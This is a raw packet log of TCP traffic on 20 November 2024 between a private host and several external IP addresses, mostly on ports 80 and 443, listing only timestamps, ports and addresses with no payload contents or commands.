Nov 20, 2024 16:50:54.142318964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.142959118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.142971992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.143136978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.143657923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.143712997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.144026041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.144073963 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.144871950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.144999027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.145018101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.145031929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.145037889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.145051956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.145072937 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.145534039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.145840883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.145930052 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.146125078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.146137953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.146209002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.183974028 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.183990002 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.184022903 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.184062004 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.184077024 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.184094906 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.184132099 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.184132099 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.211034060 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.213274956 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.213289976 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.213711977 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.214117050 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.214190006 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.227103949 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.227528095 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.227669001 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.227684975 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.227849960 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.227869034 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.228771925 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.228821993 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.228897095 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.228964090 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.229515076 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.229579926 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.229893923 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.229942083 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.244155884 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.244178057 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.244239092 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.244261980 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.244280100 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.244302988 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.260796070 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.265584946 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.265880108 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.265893936 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.267369032 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.267436981 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.267752886 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.267901897 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.276278973 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.276284933 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.276289940 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.276305914 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:54.292452097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.292526007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.292617083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.292659044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.293124914 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.293140888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.293186903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.294084072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.294097900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.294234991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.294974089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.295027971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.295696974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.295804024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.295896053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.295911074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.296039104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.296916008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.296993017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.297029018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.297058105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.297087908 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.297239065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.297326088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.297645092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.297674894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.297765970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.298506975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.298626900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.298661947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.298671961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.299268007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.299326897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.299432039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.299524069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.300117016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.300182104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.300198078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.300249100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.301065922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.301121950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.301151991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.301203012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.301650047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.301676989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.301704884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.301724911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.302500010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.302537918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.302582026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.303479910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.303495884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.303535938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.303550959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.304162025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.304280996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.304291010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.304404020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.305131912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.305186987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.305296898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.305368900 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.306071997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.306143045 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.306164980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.306372881 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.306951046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.306966066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.307025909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.307908058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.307970047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.307986021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.308101892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.308779001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.308845997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.308861017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.308900118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.309653044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.309706926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.309916019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.309967041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.310636044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.310674906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.310733080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.311492920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.311530113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.311553001 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.311573982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.312416077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.312465906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.312562943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.312769890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.313313007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.313364983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.314112902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.314162016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.314316988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.314377069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.314383984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.314493895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.315354109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.315416098 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.315516949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.315561056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.316113949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.316168070 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.316256046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.316306114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.317114115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.317126036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.317162037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.317184925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.318023920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.318037033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.318077087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.318864107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.318938017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.319211960 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.319346905 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.319828033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.319911957 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.319982052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.320034981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.320702076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.320746899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.320853949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.320990086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.321660995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.321708918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.321722984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.321768999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.322252035 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.322252035 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.322263002 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:54.322268009 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:54.322556019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.322604895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.322632074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.322647095 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.323483944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.323549032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.323661089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.323708057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.324392080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.324440002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.324446917 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.324484110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.325269938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.325309038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.325334072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.325431108 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.326204062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.326256037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.326303959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.326405048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.327147007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.327197075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.327218056 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.327259064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.328197956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.328212976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.328243017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.328258991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.328990936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.329035997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.329310894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.329915047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.329972982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.330041885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.330274105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.330785990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.330837011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.330915928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.331273079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.331805944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.331859112 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.332004070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.332048893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.332688093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.332701921 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.332762003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.333576918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.333626986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.333904982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.333981991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.334584951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.334599972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.334639072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.334664106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.335422039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.335467100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.335618973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.335664988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.336649895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.336711884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.336766958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.337311983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.337357998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.337394953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.337618113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.338258028 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.338309050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.339108944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.339164019 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.339270115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.339387894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.363334894 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.363360882 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.363416910 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.363439083 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.363466978 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.363477945 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.370954990 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:54.376960039 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.377032995 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.377096891 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.377096891 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.377469063 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.377486944 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.482969046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.483026981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.483031988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.483089924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.483412981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.483453989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.483602047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.483836889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.484365940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.484432936 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.484484911 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.484545946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.485269070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.485323906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.485589981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.485636950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.486174107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.486217022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.486417055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.486479998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.487075090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.487119913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.487353086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.487406969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.488039970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.488087893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.488140106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.488183975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.488962889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.489002943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.489011049 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.489047050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.489842892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.489887953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.489923954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.489960909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.490778923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.490832090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.491008997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.491053104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.491681099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.491731882 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.491784096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.491816044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.492603064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.492649078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.492837906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.492934942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.493557930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.493609905 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.493897915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.493940115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.494450092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.494528055 CET	49752	80	192.168.2.9	185.215.113.206
